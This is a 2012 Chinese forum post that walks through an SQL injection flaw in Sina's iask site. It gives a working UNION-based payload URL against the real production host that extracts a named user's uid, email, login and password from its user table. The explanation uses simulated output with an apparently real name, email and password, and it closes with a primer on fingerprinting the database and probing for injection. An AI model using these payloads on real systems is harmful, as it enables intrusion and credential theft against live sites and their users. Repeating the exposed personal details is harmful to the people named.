解读新浪网iask存在sql注射漏洞

idea_biu 发布于 2012/01/06 10:38
阅读 835
收藏 3
SQL
解读新浪网iask存在sql注射漏洞

 

今天一早上心浪微勃,你妹啊,要我改密码(原密码123456) 我广州地区的,竟然。。。

正文开始:

原始事件:http://www.oschina.net/question/54100_35814

漏洞存在点: http://iask.sina.com.cn//prize/event_getorderlist.php?id=999999.9
漏洞利用方式:
http://iask.sina.com.cn/prize/event_getorderlist.php?id=999999.9+UNION+ALL+SELECT+
%28SELECT+concat%280x5e24,user.uid,0x7c,user.email,0x7c,user.login,0x7c,user.passwd,0x245e%29+
FROM+%60whatis%60.user+where+uid=1303977362+LIMIT+0,1%29,2,3,4,5,6,7,8,9,10,11--


sql注射解析:

解析前,先将将浏览器拷贝过来的代码还原(标记为A)
http://iask.sina.com.cn/prize/event_getorderlist.php?id=999999.9
UNION ALL
SELECT
(SELECT concat(0x5e24,user.uid,0x7c,user.email,0x7c,user.login,0x7c,user.passwd,0x245e)
FROM `whatis`.user where uid=1303977362 LIMIT 0,1),2,3,4,5,6,7,8,9,10,11--
   
简化一下代码(标记为B):
http://iask.sina.com.cn/prize/event_getorderlist.php?id=999999.9
UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11--

B代码提交给服务器,sql执行如下:
SELECT * FROM table WHERE id=999999.9 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11--

模拟结果:(mysql模拟语句: [SELECT * FROM csdn WHERE id=1 UNION ALL SELECT 1,2,3,4])
id     username     password     email
1     zdg         12344321     zdg@csdn.net
1     2             3             4

B代码意思就是通过UNION ALL(联合查询语句)构造一张临时表,并将1,2,3,4,5,6,7,8,9,10,11插入下一行

那么A代码中的(SELECT concat(0x5e24,user.uid,0x7c,user.email,0x7c,user.login,0x7c,user.passwd,0x245e)
FROM `whatis`.user where uid=1303977362 LIMIT 0,1) 也就是把这sql查询结果替换掉
SELECT 1,2,3,4,5,6,7,8,9,10,11 中的 1 这个位置

模拟结果:(mysql模拟语句: [SELECT * FROM csdn WHERE id=1 UNION ALL
SELECT concat(0x5e24,csdn.id,0x7c,csdn.username,0x7c,csdn.password,0x7c,csdn.email,0x245e)
FROM `database`.csdn where id=2 LIMIT 0,1),2,3,4])
id                                                         username     password     email
1                                                         zdg         12344321     zdg@csdn.net
^$2|LaoZheng|670203313747|chengming_zheng@163.com$...     2             3             4

解释道这里,相信各位看官都明白了吧。^_^

上面的concat()语句还可以换成concat_ws(0x7c,version(),database(),user())
结果是什么?。。。我不敢说!总之发挥你的想象,让梦想飞翔吧...

名词解释:
    漏洞存在点 => 注射点
    concat()      => concat函数返回结果为连接参数产生的字符串
    concat_ws()=> concat函数返回结果为连接参数产生的字符串 忽略null
    UNION ALL  => 联合查询语句

符号解释:(16进制)
    0x7c      => |
    0x5e24  => | 或 ^$

    0x245e  => $...

注:

-- 是mssql注释符

# 是mysql注释符

SQL注入基础:

【判断数据库版本】
1.加单引号返回信息,其中有“Microsoft JET Database Engine”字样,判断数据库为 ACCESS 因为ACCESS数据库是通过JET引擎连接的,而不是ODBC,ODBC的连接就是MSSQL数据库。

2.如果无法判断数据库版本,可以看看是不是支持一些特殊字符的注释。如MSSQL就支持“;和--”  其中“;”是用来分离两个语句的,在这个符号之后的语句就会被忽略。 而“--”就是注释符,在这个符号之后的语

句就会被忽略。也就是说,MSSQL中遇到这两种符号不会大惊小怪,而ACCESS遇到就会暴错。
(注:直接在网址后面加入上述符号就可以检测了,不过输入特殊符号要在英文状态下输入)

3.通过注入语句判断。在MSSQL中有一个系统表,表名是sysobjects,而ACCESS中的特殊表名为msysobjects,通过查询数据库中是否存在这两个表就可以得到相应的结果。
 
如输入查询语句 “exists (select count(*) from sysobjects)”

完整URL为:XXX?ID=4 exists (select count(*) from sysobjects)

从暴错的信息中我们可以看到提示这个数据库里没有“sysobjects”这张表,那就可以否定数据库是MSSQL了。

进一步确定,可以试试另外一个语句 “exists (select count(*) from msysobjects)”

这次从返回的信息看到时没有权限读取这表里面的内容,也就是说这表是存在的,但我们的权限不够,这就更加确定目标站的数据库为ACCESS


【注入表达式】
除了单引号外,让程序爆错的其他字符为:& [ ] 、% # @

and 1=1  and 1=2

可以尝试其他表达式 or、xor等来判断
or 1=1(页面没其他变化)  or 1=2(返回其他内容)   存在注入

xor 1=1(报错或返回其他内容)   xor 1=2(页面没其他变化)  存在注入
加载中
返回顶部
顶部